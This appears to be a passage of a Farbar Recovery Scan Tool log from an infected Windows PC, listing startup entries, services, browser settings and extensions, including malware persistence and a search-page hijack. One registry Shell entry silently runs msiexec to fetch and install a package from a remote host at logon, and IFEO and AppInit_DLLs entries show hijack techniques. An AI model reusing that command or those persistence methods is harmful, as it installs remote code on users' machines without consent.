(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
==================== Registry (Whitelisted) ==================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [Skytel] => C:\Program Files\Realtek\Audio\HDA\Skytel.exe [1833504 2009-08-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [8067616 2009-08-18] (Realtek Semiconductor)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-03-22] (Adobe Systems Incorporated)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1353680 2016-11-14] (Microsoft Corporation)
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4926664 2016-02-26] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)
HKLM\...\Run: [Login] => C:\Windows\Temp\00010362\conhost.exe [1870848 2017-06-29] () <===== ATTENTION
HKLM-x32\...\Run: [Uninstall0001] => C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\upd.exe [57344 2010-07-25] ()
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)
HKLM-x32\...\Run: [seznam-listicka-distribuce] => C:\Program Files (x86)\Seznam.cz\distribution\szninstall.exe [1062472 2013-05-16] ()
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2313408 2016-04-07] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKLM-x32\...\Run: [PlaysTV] => "C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv_launcher.exe" --startup
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-04] (Advanced Micro Devices, Inc.)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [LightScribe Control Panel] => C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe [2736128 2010-08-16] (Hewlett-Packard Company)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [RGSC] => C:\Program Files (x86)\Rockstar Games\Rockstar Games Social Club\RGSCLauncher.exe /silent
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.autoupdate] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\szninstall.exe" -c
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.szndesktop] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\bin\wszndesktop.exe" -q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [ooVoo.exe] => C:\program files (x86)\oovoo\oovoo.exe /minimized
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8y ... Y4NWU2Rq== /q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CodeMeter Control Center.lnk
ShortcutTarget: CodeMeter Control Center.lnk -> C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe (WIBU-SYSTEMS AG)
Startup: C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\OpenOffice.org 3.2.lnk
ShortcutTarget: OpenOffice.org 3.2.lnk -> C:\Program Files (x86)\OpenOffice.org 3\program\quickstart.exe ()
ShellIconOverlayIdentifiers: AccExtIco1 -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: AccExtIco2 -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: AccExtIco3 -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: SkyDrive1 -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: SkyDrive2 -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: SkyDrive3 -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive1 -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive2 -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive3 -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
GroupPolicy: Group Policy on Chrome detected <======= ATTENTION
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page_TIMESTAMP = 0x80B37F1ED9F3D201
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 0x100D1CBE67C7D201
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = cs-CZ
HKCU\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKCU\Software\Microsoft\Internet Explorer\Main,First Home Page = http://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
URLSearchHook: HKLM-x32 - Default Value = {CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe http://www.ourluckysites.com/?type=sc&t ... 1837918379
SearchScopes: HKLM - DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKLM - {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKLM - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKLM-x32 - DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 - {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
SearchScopes: HKLM-x32 - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKCU - {1BC0D21C-672E-4049-AEFB-7589E730CC9D} URL = http://encyklopedie.seznam.cz/search?q= ... arch_13415
SearchScopes: HKCU - {24231C4F-6B02-48F6-8DA8-F8109976FB33} URL = http://search.seznam.cz/?q={searchTerms ... arch_13415
SearchScopes: HKCU - {2542C02A-3967-4CFE-8EEC-990CFD9D94E4} URL = http://www.novinky.cz/hledej?w={searchT ... arch_13415
SearchScopes: HKCU - {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKCU - {3561EA69-50EB-4855-BB78-E72E93193330} URL = http://www.google.com/custom?client=pub ... earchTerms}
SearchScopes: HKCU - {46B57E5F-2706-4863-8F63-8D5FE7A0759F} URL = http://www.zbozi.cz/?q={searchTerms}&r= ... arch_13415
SearchScopes: HKCU - {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKCU - {8A5604A0-BBA9-47FE-8797-3BBD3C8EAEFB} URL = http://slovnik.seznam.cz/?q={searchTerm ... arch_13415
SearchScopes: HKCU - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKCU - {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
SearchScopes: HKCU - {A53725A9-A238-48C1-9C72-A061C266ED13} URL = http://slovnik.seznam.cz/?q={searchTerm ... arch_13415
SearchScopes: HKCU - {B5BB941C-AAE1-41D4-8DB6-E622A0C3BA88} URL = http://www.mapy.cz/?query={searchTerms} ... arch_13415
SearchScopes: HKCU - {B94AF99D-D3FC-426D-8731-18FF6561EC08} URL = http://www.firmy.cz/?q={searchTerms}&so ... arch_13415
SearchScopes: HKCU - {E528EADF-38EC-40af-BBCF-5F15AABA9928} URL = http://uk.search.yahoo.com/search?p={se ... &type=IEBD
SearchScopes: HKCU - {E561C76C-DDED-4690-BAEF-A364A43D2940} URL = http://tv.seznam.cz/hledej?w={searchTer ... arch_13415
BHO: No Name -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> No File
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
BHO-x32: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Program Files (x86)\Spybot - Search & Destroy\SDHelper.dll (Safer Networking Limited)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\ssv.dll (Oracle Corporation)
BHO-x32: Pomocná služba pro přihlášení k účtu Microsoft -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\jp2ssv.dll (Oracle Corporation)
DPF: HKLM {233C1507-6A77-46A4-9443-F871F945D258} http://download.macromedia.com/pub/shoc ... tor/sw.cab
DPF: HKLM-x32 {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} http://appldnld.apple.com.edgesuite.net ... plugin.cab
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} http://download.macromedia.com/pub/shoc ... tor/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258}
DPF: HKLM-x32 {4BFD075D-C36E-4F28-BB0A-5D472795197A} http://download05.managerzone.com/socce ... Loader.cab
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0024-ABCDEFFEDCBA}
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0030-ABCDEFFEDCBA}
DPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} http://fpdownload2.macromedia.com/get/s ... wflash.cab
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll (Skype Technologies)
ShellExecuteHooks: - {E4CA1236-0398-11E7-A247-64006A5CFC23} - C:\Users\Uzivatel\AppData\Roaming\Putodom\Ljeent.dll No File [ ]
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{CA7287A7-18E5-45C5-B9EC-4F4B539AEC8E}: [NameServer]217.77.165.81 217.77.161.131
FireFox:
========
FF ProfilePath: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_dtid=TCH001&apn_ptnrs=AG1&apn_uid=8423644100354278&o=APN11459&q=
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_26_0_0_131.dll ()
FF Plugin: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelogx64.dll (EA Digital Illusions CE AB)
FF Plugin: @microsoft.com/GENUINE -> disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll ( Microsoft Corporation)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll (Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_26_0_0_131.dll ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll (Adobe Systems, Inc.)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll No File
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll No File
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll No File
FF Plugin-x32: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelog.dll (EA Digital Illusions CE AB)
FF Plugin-x32: @java.com/DTPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\plugin2\npjp2.dll (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled No File
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)
FF Plugin-x32: @real.com/nprpjplug;version=6.0.12.1483 -> C:\Program Files (x86)\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll (RealNetworks, Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @unity3d.com/UnityPlayer,version=1.0 -> C:\Program Files (x86)\Unity\WebPlayer\loader\npUnity3D32.dll (Unity Technologies ApS)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll (Adobe Systems)
FF Plugin HKCU: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll No File
FF Plugin HKCU: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)
FF Plugin HKCU: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\The Settlers 7 - Paths to a Kingdom\Data\Base\_Dbg\Bin\Release\orbit\npuplaypc.dll (Ubisoft)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpjplug.dll (RealNetworks, Inc.)
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\findit.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\hhkup77i.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\luck.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\ourluckysites.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\searchplugins-backup
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\startpageing123.xml
FF SearchPlugin: C:\Program Files (x86)\mozilla firefox\browser\searchplugins\findit.xml
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\amcontextmenu@loucypher [2017-06-29]
FF Extension: xRocket Toolbar - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\arthurj8283@gmail.com [2017-03-16]
FF Extension: Flash Video Downloader - YouTube HD Download [4K] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\artur.dubovoy@gmail.com [2016-05-28]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{88c7f2aa-f93f-432c-8f0e-b7d85967a527}-trash [2011-05-01]
FF Extension: Video Downloader professional - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\ffext_basicvideoext@startpage24.xpi [2015-06-25]
FF Extension: SoundCloud Downloader - Technowise - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{c8d3bc80-0810-4d21-a2c2-be5f2b2832ac}.xpi [2014-10-17]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2014-07-14]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff
FF HKLM-x32\...\Firefox\Extensions: [arthurj8283@gmail.com] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird
Chrome:
=======
CHR Extension: (Google Docs) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2014-01-27]
CHR Extension: (Google Drive) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2014-01-27]
CHR Extension: (YouTube) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2014-01-27]
CHR Extension: (Google Search) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2014-01-27]
CHR Extension: (DP1815) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjllbogbaogimpilgdginhalhhbmhiob [2014-01-29]
CHR Extension: (Tables) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fngmhnnpilhplaeedifhccceomclgfbg [2017-06-29]
CHR Extension: (Google Docs Offline) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-09-03]
CHR Extension: (Chrome Web Store Payments) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-24]
CHR Extension: (Gmail) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2014-01-27]
CHR Extension: (Chrome Media Router) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2016-12-15]
CHR HKLM-x32\...\Chrome\Extension: [cgbealecnakbhfoeeipcnoboempfkbjd] - C:\Program Files (x86)\AmiExt\flashEnhancer\ch\flashEnhancer.crx [2016-12-15]
CHR StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe http://www.ourluckysites.com/?type=sc&t ... 1837918379
==================== Services (Whitelisted) =================
(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)
R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [694464 2016-04-07] (Adobe Systems Incorporated)
R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-07-15] (Advanced Micro Devices, Inc.) [File not signed]
R2 AppmallosayoV; C:\ProgramData\\AppmallosayoV\\AppmallosayoV.exe [2465280 2017-06-29] (TODO: <Company name>) [File not signed]
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [1536520 2017-06-24] ()
R2 DiagTrack; C:\Windows\system32\diagtrack.dll [1386496 2016-08-22] (Microsoft Corporation)
S2 ES lite Service; C:\Program Files (x86)\Gigabyte\EasySaver\ESSVR.EXE [68136 2009-08-24] ()
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 LightScribeService; C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe [73728 2010-08-16] (Hewlett-Packard Company) [File not signed]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [File not signed]
R2 MsMpSvc; C:\Program Files\Microsoft Security Client\MsMpEng.exe [119864 2016-11-14] (Microsoft Corporation)
R2 MSSQL$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe [7520337 2002-12-17] (Microsoft Corporation) [File not signed]
S3 MSSQLServerADHelper; C:\Program Files (x86)\Microsoft SQL Server\80\Tools\Binn\sqladhlp.exe [66112 2002-12-17] (Microsoft Corporation) [File not signed]
S3 NisSrv; C:\Program Files\Microsoft Security Client\NisSrv.exe [361816 2016-11-14] (Microsoft Corporation)
R2 NMSAccessU; C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe [71096 2009-11-12] ()
S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [2120712 2016-05-10] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76152 2016-05-10] ()
R2 SBSDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe [1153368 2009-01-26] (Safer Networking Ltd.)
S3 SQLAgent$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlagent.EXE [311872 2002-12-17] (Microsoft Corporation) [File not signed]
R2 W3SVC; C:\Windows\system32\inetsrv\iisw3adm.dll [453120 2010-11-20] (Microsoft Corporation)
S3 digiSPTIService64; "C:\Program Files\Avid\Pro Tools\digisptiservice64.exe" [X]
S2 PlaysService; "C:\Program Files (x86)\Raptr Inc\PlaysTV\plays_service.exe" [X]
S2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [X]
S2 Windows; C:\Windows\svchost.exe [X]
S2 WindowsAppSvc; C:\ProgramData\Microsoft\Apps\common\helper.dll [X]
==================== Drivers (Whitelisted) ====================
(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)
